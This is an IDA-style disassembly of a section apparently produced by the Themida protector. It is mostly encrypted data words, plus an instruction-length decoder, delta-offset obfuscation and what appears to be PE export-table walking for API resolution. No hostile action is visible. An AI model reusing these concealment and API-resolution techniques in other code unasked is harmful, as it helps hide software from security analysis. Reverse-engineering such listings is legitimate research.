		dd 5, 1C0242BBh, 0EE981h, 69880000h, 508C00AAh,	0E34AF79Fh
		dd 97554CCCh, 0E6C18159h, 0BE000072h, 0
		dd 123D9509h, 34FF0610h, 8F0F0Eh, 58000000h, 358EC081h
		dd 8B6671A1h, 9F081D1h,	1097D2Ah, 10024DBDh, 9BE88106h
		dd 0B1A2C2Fh, 1001DDBDh, 31048906h, 0BD9958Bh, 8E0F0610h
		dd 2, 0EE8371B3h, 870F04h, 81000000h, 0FF8DA8FEh, 0AF850FFFh
		dd 0E8FFFFFFh, 0Bh, 77AC21CEh, 8FFC6280h, 8B9B6299h, 1020859Dh
		dd 0C8E95F06h, 88000001h, 7 dup(88004188h), 4188h, 4 dup(0)
		dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
		dd 888888h, 0
		dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
		dd 3C98802h, 88001002h,	88001188h, 11888888h, 44111111h
		dd 16h,	880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
		dd 88080888h, 888888h, 0
		dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
		dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
		dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
		dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
		dd 88888888h, 26088888h, 643E362Eh, 0F0676665h,	0F3F2h
		dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
		dd 3000000h, 14h dup(0)
		dd 0C2000000h, 8F29000Ch, 1000075h, 11h	dup(0)
		dd 0E9000000h, 353h
dword_5A4E9C	dd 0E855h, 815D0000h, 159A37EDh, 85C76006h, 6159984h, 0
					; DATA XREF: Themida_:0054E8FCo
		dd 663E8166h, 0F850FA1h, 0C7000000h, 15998885h,	606h, 24E900h
		dd 858D0000h, 615998Ch,	0DC858D50h, 50061599h, 0E8006A56h
		dd 1Dh,	2510C483h, 0FFh, 99888589h, 3610615h, 159988B5h
		dd 84858B06h, 5D061599h
		db 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_5A4F2E
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_5A4F3A
; ---------------------------------------------------------------------------


loc_5A4F2E:				; CODE XREF: Themida_:005A4F17j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_5A4F3A:				; CODE XREF: Themida_:005A4F29j
		push	ebx
		push	esi
		push	edi


loc_5A4F3D:				; CODE XREF: Themida_:005A4F92j
					; Themida_:005A4FAEj ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5A4F50:				; CODE XREF: Themida_:005A4F77j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6159AEEh
		lea	ebp, [ebp+6159964h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5A4F7D
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5A4F50


loc_5A4F7D:				; CODE XREF: Themida_:005A4F6Cj
		cmp	cl, 0Bh
		jz	loc_5A4FDA
		cmp	al, 66h
		jnz	loc_5A4FBB
		cmp	byte ptr [ebp-5], 0
		jnz	loc_5A4F3D
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_5A4FB3
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_5A4F3D
; ---------------------------------------------------------------------------


loc_5A4FB3:				; CODE XREF: Themida_:005A4FA0j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_5A4FBB:				; CODE XREF: Themida_:005A4F88j
		cmp	al, 67h
		jnz	loc_5A4F3D
		cmp	byte ptr [ebp-6], 0
		jnz	loc_5A4F3D
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_5A4F3D
; ---------------------------------------------------------------------------


loc_5A4FDA:				; CODE XREF: Themida_:005A4F80j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5A5006
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5A500B
; ---------------------------------------------------------------------------


loc_5A5006:				; CODE XREF: Themida_:005A4FE5j
		movzx	edi, al
		shr	edi, 1


loc_5A500B:				; CODE XREF: Themida_:005A5001j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6159BA6h
		lea	ebp, [ebp+6159864h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5A518D
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5A50D1
		dec	ecx
		jz	loc_5A50B4
		dec	ecx
		jnz	loc_5A5124
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A5120
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A5093
		mov	byte ptr [ebp+0Bh], 2


loc_5A5093:				; CODE XREF: Themida_:005A5089j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6159C32h
		mov	dword ptr [ebp+6159984h], 1
		pop	ebp
		jmp	loc_5A5124
; ---------------------------------------------------------------------------


loc_5A50B4:				; CODE XREF: Themida_:005A506Ej
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A50FE
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A50FE
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5A50FE
; ---------------------------------------------------------------------------


loc_5A50D1:				; CODE XREF: Themida_:005A5067j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A5117
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A5106
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5A50FE
		mov	[ebp+0Bh], cl


loc_5A50FE:				; CODE XREF: Themida_:005A50B8j
					; Themida_:005A50C2j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5A5124
; ---------------------------------------------------------------------------


loc_5A5106:				; CODE XREF: Themida_:005A50DFj
		cmp	dl, 5
		jnz	loc_5A5124
		mov	[ebp+0Bh], dl
		jmp	loc_5A5124
; ---------------------------------------------------------------------------


loc_5A5117:				; CODE XREF: Themida_:005A50D5j
		cmp	dl, 6
		jnz	loc_5A5124


loc_5A5120:				; CODE XREF: Themida_:005A507Fj
		mov	byte ptr [ebp+0Bh], 3


loc_5A5124:				; CODE XREF: Themida_:005A5075j
					; Themida_:005A50AFj ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5A5152
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_5A5134:				; CODE XREF: Themida_:005A514Aj
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5A5134
		mov	esi, edx


loc_5A5152:				; CODE XREF: Themida_:005A5127j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5A5187
		cmp	edi, 7Fh
		ja	loc_5A5187
		test	bl, 38h
		jnz	loc_5A5187
		cmp	byte ptr [ebp-7], 0
		jz	loc_5A5181
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5A5184
; ---------------------------------------------------------------------------


loc_5A5181:				; CODE XREF: Themida_:005A5172j
		push	1
		pop	eax


loc_5A5184:				; CODE XREF: Themida_:005A517Cj
		mov	[ebp-1], al


loc_5A5187:				; CODE XREF: Themida_:005A5156j
					; Themida_:005A515Fj ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_5A518D:				; CODE XREF: Themida_:005A5037j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5A51B8
		dec	eax
		dec	eax
		jz	loc_5A51AE
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5A51C0
; ---------------------------------------------------------------------------


loc_5A51AE:				; CODE XREF: Themida_:005A519Dj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_5A51BD
; ---------------------------------------------------------------------------


loc_5A51B8:				; CODE XREF: Themida_:005A5195j
		mov	al, [ebp-3]
		add	al, 4


loc_5A51BD:				; CODE XREF: Themida_:005A51B3j
		add	[ebp-1], al


loc_5A51C0:				; CODE XREF: Themida_:005A51A9j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5A51E8
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_5A51D3:				; CODE XREF: Themida_:005A51E2j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5A51D3


loc_5A51E8:				; CODE XREF: Themida_:005A51C8j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db 8Dh
		dd 159A3185h, 91858906h, 0E9061034h, 266h, 0D98C6660h
		dd 0F04C1F6h, 3584h, 0FF016A00h, 101499B5h, 8A858D06h
		dd 0FF061385h, 358589D0h, 8B06101Fh, 0CEFC1FEh,	6000068h
		dd 6A006A20h, 0D685702h, 0FF000100h, 101F3595h,	32E906h
		dd 85C60000h, 61023E5h,	30DF6856h, 0B5FFA9C5h, 6101D45h
		dd 858A858Dh, 0D0FF0613h, 12618589h, 858D0610h,	6101DADh
		dd 6A406A50h, 95FF5605h, 6101261h, 0C361h, 2 dup(0)
		db 2 dup(0)
word_5A5282	dw 8B52h		; DATA XREF: Themida_:0054D174o
		dd 428B60D4h, 13858908h, 8B06159Eh, 85890C42h, 6159E0Bh
		dd 8910428Bh, 159E0F85h, 49B58D06h, 8D06159Eh, 5B8EA185h
		dd 61D0FF00h, 0CC25Ah, 9E13B58Bh, 858B0615h, 6159E0Bh
		dd 9E0FBD83h, 0F000615h, 784h, 0E9068900h, 2, 0CF0688h
		dd 0
		db 3 dup(0)
byte_5A52DF	db 52h			; DATA XREF: Themida_:0054B568o
		dd 8B60D48Bh, 85890842h, 6159E13h, 9E9AB58Dh, 858D0615h
		dd 5B8EA1h, 5A61D0FFh, 9E13858Bh, 4C20615h, 13858B00h
		dd 8B06159Eh, 13858900h, 0CF06159Eh, 0
dword_5A5318	dd 70B58960h, 8906159Eh, 159E6C85h, 0B5858D06h,	8B06100Ch
					; DATA XREF: Themida_:0054D1DCo
		dd 85894440h, 6159EA9h,	9EDFB58Dh, 858D0615h, 5B8EA1h
		dd 8B61D0FFh, 159E7085h, 9D8BC306h, 6159E6Ch, 3C43B70Fh
		dd 5B8BD803h, 6C9D0378h, 8B06159Eh, 0B5032473h,	6159E6Ch
		dd 207B8B56h, 31C738Bh,	159E6CBDh, 6CB50306h, 0FC06159Eh
		dd 41FFC983h, 9E709D8Bh, 178B0615h, 9E6C9503h, 0C7830615h
		dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h,	43FFFFFFh
		dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h
		dd 86048B0Fh, 9E6C8503h, 85890615h, 6159E70h, 0CE8BF08Bh
		dd 0BD81C18Bh, 6159EA9h, 0C0300000h, 0D850Fh, 0E8C10000h
		dd 0FFC2514h, 8E90000h,	0C1000000h, 0F82512E8h,	8B00003Fh
		dd 159EA9BDh, 70C8306h,	7148B06h, 8124C28Bh, 0C18B813Ch
		dd 57840Fh, 0BD810000h,	6159EA9h, 0C0300000h, 0D850Fh
		dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h
		dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h
		dd 81000000h, 159EA9BDh, 30000006h, 0E840FC0h, 25000000h
		dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 6159E17h,	1D098589h
		dd 858D0610h, 6159EADh,	1D718589h, 858D0610h, 6159E74h
		dd 0FD8589h, 12580610h,	0BE2C1FD6h, 629D2BF2h, 70B3F2B0h
		dd 340B06A4h, 715C7AD8h, 8485FC09h, 8459814Ah, 0F0643334h
		dd 4AAD1A4h, 896F1DA0h,	32661100h, 24BE3C08h, 0B49D3309h
		dd 82773C8h, 3B67330Ah,	34B33181h, 0B7D78209h, 24C122B4h
		dd 0B079330Fh, 343B334Dh, 0B5FBFF83h, 0DDA6C3E7h, 34673012h
		dd 0DCE43363h, 34D9330Ah, 6B2F6C29h, 30524F80h,	301F7788h
		dd 349D3315h, 2F0D644Eh, 9A93ED11h, 8E25B9C2h, 34D93CE0h
		dd 6B00E309h, 7FC5EF93h, 9BE69B01h, 0D722A2Dh, 94F1B684h
		dd 0DCF7351Ch, 34B33301h, 4F8B9B3Eh, 0B2AAD2D6h, 6E86B86Fh
		dd 0E5BAA359h, 750F1307h, 34CE27E1h, 0DDC4D709h, 900B20F4h
		dd 0E3E30E3Ah, 17902402h, 3450A79Ah, 35B43C21h,	0C89D3309h
		dd 154BBE53h, 8D6126A9h, 6D5C008Fh, 6E98C99h, 66BC1BA1h
		dd 347620E1h, 0B7898509h, 0FA75A89Bh, 0A573854Ah, 8B07457Ch
		dd 0A4A10C81h, 6D80C882h, 0CB2EB399h, 3D0FA6F6h, 0B4343519h
		dd 349D330Ch, 256BF2B6h, 66A7B809h, 0D9ED69B3h,	895A6D30h
		dd 32FC2684h, 0B77F4609h, 243BA6B4h, 2DE9330Fh,	0F4456059h
		dd 346349B1h, 5136BA09h, 0B9DF2307h, 26542694h,	6FA5CC0Fh
		dd 0A186B051h, 349B2309h, 679E247Dh, 346349B1h,	5136BA09h
		dd 0B9DF2307h, 26593794h, 6FA5CC0Fh, 3435DB51h,	0E8943309h
		dd 2D07E181h, 0D7D5E593h, 0C819AEFDh, 3B87E382h, 34EC3988h
		dd 30F23C09h, 523B3309h, 0BF4562B7h, 1D53BEC9h,	0BF6126A9h
		dd 6F36BEF8h, 8DDF2682h, 5A42670Ch, 341CE3F6h, 3438DB5Eh
		dd 6BBD3309h, 48476CCAh, 70E6372Dh, 34A8372Dh, 639E3309h
		dd 27C9E6CAh, 61804169h, 343CDBB0h, 0CEB83309h,	11262B3Ch
		dd 3B39CF01h, 34B3378Eh, 0F0605509h, 3B2C383Eh,	3476758Dh
		dd 0E6E4B209h, 0B9D0A570h, 2480B694h, 35EE3C0Fh, 0C8B33309h
		dd 34D930B1h, 63EC5909h, 347630E1h, 0F7641309h,	10E1BA56h
		dd 108AB20Dh, 3467280Dh, 0F7E47409h, 0CF9F9F53h, 0C49ED158h
		dd 1858E588h, 0D7C45729h, 0B96A8C06h, 216E0294h, 6367590Fh
		dd 34B330E1h, 0F7861309h, 1090BA56h, 1032B20Dh,	343B290Dh
		dd 0F7CA7409h, 0F372404Fh, 3B94DC7Ah, 0B13EC5BEh, 32CCB852h
		dd 0DCBC3363h, 3476330Ah, 6CF86B29h, 30B97780h,	30EA7788h
		dd 34673314h, 0BB706349h, 760E68CFh, 0AD87B8Fh,	0E489C6B7h
		dd 89FCB26Fh, 3B5D38F4h, 34CE0A8Dh, 0E8D85509h,	0B12EBEBBh
		dd 3BDF2347h, 34EC3083h, 0FCC93C09h, 343B32B1h,	669D5909h
		dd 34CE30E1h, 0F73D1309h, 10E7BA53h, 109DB20Dh,	34EC250Dh
		dd 0F7247109h, 0CBE15C72h, 0A910C6EAh, 32DB933Fh, 0B9AD82F1h
		dd 2138688Ch, 34DFDB0Fh, 0D1D33309h, 40758806h,	0CB65DC83h
		dd 3F3E86D9h, 484A3CC9h, 5E673309h, 375B6009h, 14D93309h
		dd 0BDB7F052h, 0B5721755h, 283F174Dh, 779D3309h, 804CF05Ah
		dd 6F558712h, 3BF94A6Ah, 0A954C5BEh, 32FC7D8Ch,	0DC273363h
		dd 343B330Ah, 6D5E6A29h, 30EA7F80h, 30437788h, 34B3331Ch
		dd 731A6248h, 34EF8BB1h, 0B5103309h, 0CB4883C0h, 619D59EAh
		dd 34CE30E1h, 0F73A1309h, 10DFBA54h
		db 0Dh
byte_5A57ED	db 0B2h, 9Dh, 10h	; DATA XREF: Themida_:0054B56Co
					; Themida_:0054E498o
		dd 34EC2A0Dh, 0F7237609h, 0E1E829A4h, 6324BB8Ch, 77D653BFh
		dd 0B9B1B86Fh, 21132CB4h, 8C54BE0Fh, 8CEA26AAh,	0BE3D6F74h
		dd 3E36B63Ah, 0FBB63519h, 94B9DAC8h, 0F216E02h,	0E1636759h
		dd 934B330h, 56F78613h,	0D1090BAh, 831032B2h, 0A4F305E9h
		dd 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0FDA5BC3h, 589h, 8960B900h, 0BF0F1482h, 55006AF1h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0A028D711h, 8B0F37D8h, 22h, 8F0F60h,	0E8000000h, 14h
		dd 41292981h, 0A16FA8AAh, 0AD80E8CDh, 0BFD479C5h, 7CA0AC1Ch
		dd 0B3B9615Bh, 8B2074F6h, 6E8C3h, 78D70000h, 95CEC201h
		dd 0C08B5EF9h, 832BE280h, 10158DBDh, 9750006h, 95BD83h
		dd 74000610h, 8B535019h, 47AB8C0h, 85890000h, 610132Dh
		dd 0B87C9D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h
		dd 47AB853h, 85890000h,	610132Dh, 0B51D9D8Dh, 0D3FF0612h
		dd 0EE9585Bh, 90000000h, 8B091E0Ah, 61755AE6h, 3B13E632h
		dd 0E8C08B96h, 12h, 6B7AA46h, 0B1646F65h, 0FBF5BD72h, 0E233137Eh
		dd 0FA8B680Ch, 0D1B70F59h, 5D80C181h, 0BE90000h, 57000000h
		dd 6C5F6EB9h, 375D0332h, 0DB3374C2h, 8119048Bh,	0D269DBE8h
		dd 37CF816Dh, 8161BC8Dh, 1D933C0h, 4ABE660Fh, 4AE88137h
		dd 814E56B8h, 8F9077C6h, 8FF9507Eh, 0EB831904h,	0D2BF0F04h
		dd 0A2E8FB81h, 850FFFFFh, 0FFFFFFC4h, 0CE9h, 0A64C9000h
		dd 74h,	0
		dd 529E900h, 47E70000h,	1BD14804h, 3CF168E4h, 1BD04703h
		dd 39EB6ADEh, 3C483EFAh, 5FDB1ACEh, 38F435D8h, 56D20DC1h
		dd 37F328DFh, 1C16854h,	0E56BD9D9h, 79323C08h, 5BDE5044h
		dd 0BDB96DA6h, 327113A0h, 1348FF76h, 38F30D5Fh,	6DCC7C8Ah
		dd 66DCED35h, 32EAD17Ah, 0F8ACE79Bh, 0B883587Ch, 9D25E40Fh
		dd 796DCC66h, 0AE2DD9FDh, 98D3BFF6h, 22C96807h,	44EA71EDh
		dd 826B5509h, 3FEA3888h, 6DCCF783h, 66E20763h, 72E9FE8Ch
		dd 0F69581BCh, 745E1253h, 1DA5647Ah, 0F96DCC6Bh, 24BB607Dh
		dd 9A0E49FDh, 432F641Bh, 0CC6BAB14h, 8CC57C6Dh,	5FE3A698h
		dd 0B76DCC6Bh, 0C45FCBBh, 0DF632618h, 376DCC6Bh, 5BFA893Bh
		dd 7D2A675h, 0F5712566h, 49AC43D8h, 336B1E88h, 8268h, 22C39600h
		dd 1C3135E1h, 44793290h, 0A55BDE50h, 8758CC65h,	0C29E4BBEh
		dd 0DA46FEA5h, 0B5C76DCCh, 0D63D81B8h, 64793BE7h, 0A5A620BFh
		dd 92E0FC77h, 6F9CEEBh,	336B32ABh, 0AFEAA01Bh, 9E8D5FC3h
		dd 92338B24h, 0E18764C0h, 1, 437A322Bh,	6390384Fh, 0CC7C1AA8h
		dd 421EFA6Dh, 5794374Eh, 10AF10ABh, 7B2E5B11h, 923383C7h
		dd 1116431Fh, 55024AE9h, 33C2765Ah, 2FAA4E8Ch, 11EC57B1h
		dd 0D7F37935h, 7C4002A9h, 0C8A46DCCh, 3C8428B3h, 0E40D9B52h
		dd 0EB2CDDFEh, 0A037EB07h, 88C5B1E8h, 33D55CF3h, 0AC138F4h
		dd 3AA21D5h, 0F68DD6CAh, 0BC679A5Fh, 96D7336Ah,	0F09B79CFh
		dd 6DCC8E52h, 0E91B6B2h, 89805A68h, 6DCCF439h, 46C81DDh
		dd 6Eh,	3196D746h, 6D2AA6h, 0B759E2F7h,	580D8C78h, 0AE54731Fh
		dd 64087F73h, 0C302A625h, 972EC5CFh, 1EA9629h, 0B9301F2Fh
		dd 0F1D2A742h, 0F231D352h, 0D80DBF36h, 0CCF29131h, 0A65E756Dh
		dd 0C39F836Fh, 2FD4F39Fh, 5D79B257h, 2CC300A9h,	6AA618C9h
		dd 43F833h, 32520000h, 34533F7Eh, 4C9F538Eh, 0B355DC73h
		dd 2CDF5A74h, 4A1F03EFh, 4D7F694h, 0F67A265Bh, 7BB25AE1h
		dd 7C67E087h, 0D4A86DCCh, 4A246305h, 0CC7CE35Fh, 5227036Dh
		dd 0D617D271h, 0B6336B35h, 1, 427B3214h, 0AB5DDC4Eh, 1BC48F6Ch
		dd 6FEA14E6h, 2E9483B8h, 0C66DCC7Ch, 7918D6Ah, 954CD56Ch
		dd 7483E05Ch, 75969567h, 1167FC06h, 0B79BD27Ah,	0D513CCCBh
		dd 0BD480C0Fh, 13C7AB51h, 0FA9DDB84h, 23956534h, 1C38792Ch
		dd 0C5252638h, 0CA288E1Bh, 34632338h, 9423788Ch, 0E243E2C1h
		dd 7DB25929h, 0D5CBA489h, 0D0179488h, 0DD5CD0F4h, 8605F126h
		dd 9FFCA8DDh, 0DA6165FCh, 2A06FA33h, 0A8DD864Dh, 75344A34h
		dd 94230CCDh, 67304D29h, 397BC5A6h, 13686h, 0BD5CC400h
		dd 0C41F4C1Eh, 10BC9B43h, 0FAB1C7A4h, 67FCBFC1h, 36374925h
		dd 48C6808Dh, 43431854h, 94669B44h, 3DE91EC5h, 1B9A2439h
		dd 0A7F19464h, 1349F612h, 7D294D3Ah, 0B229DDF9h, 0B9D0C4F9h
		dd 3E2BD718h, 0BCE77770h, 782DAC3Bh, 0B241533Fh, 0CBF0AD13h
		dd 136ED34h, 0E23F924Dh, 0D1AF397Ah, 3C3468DAh,	0BB908C94h
		dd 2C15h, 0C15C7700h, 0D949401Ah, 0FDEDCC7Ch, 9C267521h
		dd 41EDCC7Ch, 88C97C3Fh, 1A31D073h, 702DCFFh, 6DCC7C9Bh
		dd 0FA6BDF3Bh, 9Fh, 1EBD5C52h, 0C3C5D4Ch, 4ECA67FCh, 477C23A2h
		dd 0E1FF3835h, 22CE0FC2h, 6E03193Eh, 3FB6805Dh,	0F89F5388h
		dd 9423C44Dh, 2EE27DEh,	0EFA3E083h, 0E54CE3BCh,	161A0641h
		dd 0FEBD9F3Ah, 4DEE0B4Ah, 0A14514B6h, 91B6BA66h, 0D39D3EBAh
		dd 0FBB895DBh, 469B0F44h, 57522CAFh, 9E1697A1h,	0EE89C1Fh
		dd 0EE721E57h, 2905F5D2h, 0B2D1657h, 60AA0026h,	43FC9B8Bh
		dd 0BF63620Eh, 52F99084h, 6D56691Dh, 8D35F4D6h,	699E1557h
		dd 0C47FE90Dh, 99A72E2Dh, 68CCB8F7h, 41B7728Ch,	2194208Ah
		dd 5C038945h, 5D4C1EBDh, 67F9A1AFh, 6586D815h, 0CE1892D9h
		dd 8175B657h, 0BBD2C8A5h, 40793008h, 35544024h,	56E5598Eh
		dd 656678ADh, 1B6C68F3h, 0E2604B01h, 294265Dh, 712D4A26h
		dd 0F243C12Ah, 22C1E20Bh, 0D58C5C03h, 13A6B89Ch, 0A21C3172h
		dd 25376C13h, 0E5ACF096h, 0E06972DEh, 3F23CFF3h, 0AA5D7C2Ah
		dd 942FB96Dh, 568B34FDh, 23E6F8E2h, 0EAFA859Fh,	55DEFB77h
		dd 1C8D79AEh, 3, 326D5F70h, 52493D80h, 19B06499h, 4F463A75h
		dd 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h, 30A75B94h
		dd 0CF554178h, 6CFE68h,	243C8900h, 321468h, 242C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	615A54Bh
		mov	ebp, [esp]
		add	esp, 4
		push	58BAh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	edx
		mov	edx, 8
		add	edx, 789D4497h
		add	edx, esi
		sub	edx, 789D4497h
		mov	[edx], ebp
		pop	edx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		db 0A9h
		dd 81C29228h, 7985EC36h, 0B8198A14h, 615A9FDh, 0E0FFC503h
		dd 2FB86E48h, 399CC6D7h, 6D8097C9h, 757020D4h, 4C557A4Fh
		dd 386C8E48h, 39052637h, 242CB9C7h, 54D0AA84h, 46BE591Ch
		dd 626B2E23h, 4993B173h, 6620D96Bh, 54B4DE44h, 0A42DC59h
		dd 5CD48420h, 77310891h, 79B8AEE2h, 7C80AD32h, 13466E9h
		dd 2FD4FAAEh, 745225A6h, 47A15338h, 700E6E8Fh, 2EE9h, 0CB338F00h
		dd 0Ah,	9 dup(0)
		dd 0E9000000h, 534h, 0AE2A6D1Dh, 8E4A8127h, 0B5296207h
		dd 88448126h, 0AC205F11h, 5C1042BEh, 771AA11Dh,	4FF38236h
		dd 6A219814h, 0AA967935h, 0D9D743FFh, 7E46A36Bh, 265B04D7h
		dd 0ACE18A51h, 0F02FE1F8h, 0DB06BD3Ch, 0CC7C9230h, 900726Dh
		dd 6DCC7CB9h, 0BE5015Dh, 0CC7CA220h, 0AE6426Dh,	93C87F16h
		dd 940E8DFh, 3BFE621Dh,	8E2D4A89h, 40752EF7h, 3DAC3D2Eh
		dd 2F6B9AA7h, 0D054407Bh, 7D5FD7F4h, 0D6CA0BBEh, 10B67D5Ah
		dd 84D2FBD5h, 5516D379h, 36C5794Eh, 0CFA15590h,	491E530Ch
		dd 0F29EDF92h, 1F52ED3h, 0FCA8E58Ah, 38EC2BDDh,	58F78A3Ch
		dd 902FC274h, 26A2DD91h, 8328F8AFh, 2F762A46h, 6DCCA296h
		dd 6E8B2A99h, 336A57A3h, 6A9F4813h, 71DB8Dh, 0D7310000h
		dd 6E225F04h, 0A55ED5F2h, 6FD58470h, 0B06DCC7Ch, 9C75700Fh
		dd 7C336B35h, 11h, 0C0754982h, 3AD521E6h, 301D3443h, 0C5A216C6h
		dd 0A87A32FFh, 58DCC801h, 5B11887Ch, 0B6597024h, 0D1F28D79h
		dd 164DF332h, 4C01B8A2h, 7CD46E1Dh, 34306DCCh, 0C3656410h
		dd 0B0949084h, 3267209Bh, 461D3318h, 6241103Ah,	0CC201BA7h
		dd 431FFB6Dh, 321AB026h, 34533F7Eh, 0ECA1558Ch,	57F938D7h
		dd 6E15A418h, 0CEB48930h, 0F2CE238Eh, 0A9E287FEh, 97D4ACFDh
		dd 5AD97A82h, 52F106EFh, 0DBEB36B3h, 96CB336Ah,	41000000h
		dd 533F7E32h, 0BE0407D9h, 8F6DCC7Ch, 73EF9FDCh,	0F8D50CB4h
		dd 334D863Bh, 0DAC603A8h, 7CA2E34Dh, 0EED2B78Eh, 0BC0F9BC9h
		dd 728767E1h, 7967F9B4h, 0CC943092h, 8358D46Dh,	0F6C501A0h
		dd 0FE6B174Eh, 4C25792Eh, 17341057h, 0D7A9E89Ch, 51265B04h
		dd 1B5A0E8Dh, 7EBB7067h, 136ED6Ch, 5A693AECh, 0B2833EBBh
		dd 5363336Ah, 0A9000000h, 533F7E32h, 13B88E34h,	8F462AD6h
		dd 0D1C5A1DAh, 2CAE45DEh, 8CA21952h, 0A118BFB5h, 0CCFD48FAh
		dd 9BB0AC6Dh, 0B12D6C20h, 437A321Bh, 0EE545729h, 66DCC7Ch
		dd 7CCD7534h, 4D296DCCh, 3525429h, 6DCC7CBAh, 42A73E7Dh
		dd 336B356Fh, 14Fh, 7B32BD00h, 90374E42h, 7C1CA665h, 7CF86DCCh
		dd 0EB38658h, 74B156D5h, 433DA757h, 0E8A3D078h,	6DCC7C5Ah
		dd 65825EBAh, 4FF63FD6h, 0B63DA216h, 0BB604B25h, 4B67FC06h
		dd 863EFDCFh, 0FAD60BB4h, 0F9AB2A06h, 8D6AC6BAh, 631C9F91h
		dd 9DE422Eh, 0E8649952h, 9C8FBA71h, 94238A26h, 927E62BEh
		dd 238A7DC3h, 0B251F294h, 0FF434618h, 1794238Ah, 0CE753E1Bh
		dd 0ED962599h, 16CDCCB8h, 8C689D46h, 1A0C398h, 76326720h
